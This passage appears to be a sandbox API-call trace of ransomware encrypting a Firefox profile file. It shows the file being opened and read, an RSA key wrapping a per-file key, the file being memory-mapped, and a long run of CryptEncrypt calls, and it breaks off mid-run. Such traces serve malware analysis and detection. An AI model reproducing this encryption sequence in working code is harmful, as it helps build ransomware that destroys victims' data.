ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="favicons.sqlite-shm", cAlternateFileName="FAVICO~3.SQL")) returned 1 [0158.311] GetProcessHeap () returned 0x1600000 [0158.311] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0158.311] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="favicons.sqlite-shm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" [0158.311] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite-shm") returned 0x0 [0158.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.312] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=32768) returned 1 [0158.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x7adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0158.313] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0158.352] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x3c0 [0158.352] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0158.352] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0158.352] CloseHandle (hObject=0x3c0) returned 1 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.352] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] GetTickCount () returned 0x1167585 [0158.353] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668e78) returned 1 [0158.354] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0158.354] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0158.354] CryptDestroyKey (hKey=0x1639528) returned 1 [0158.355] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0158.355] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x3c0 [0158.355] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x1480000 [0158.583] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f00) returned 1 [0158.584] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396a8) returned 1 [0158.584] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0158.584] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0158.584] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.585] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.586] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.587] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.588] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 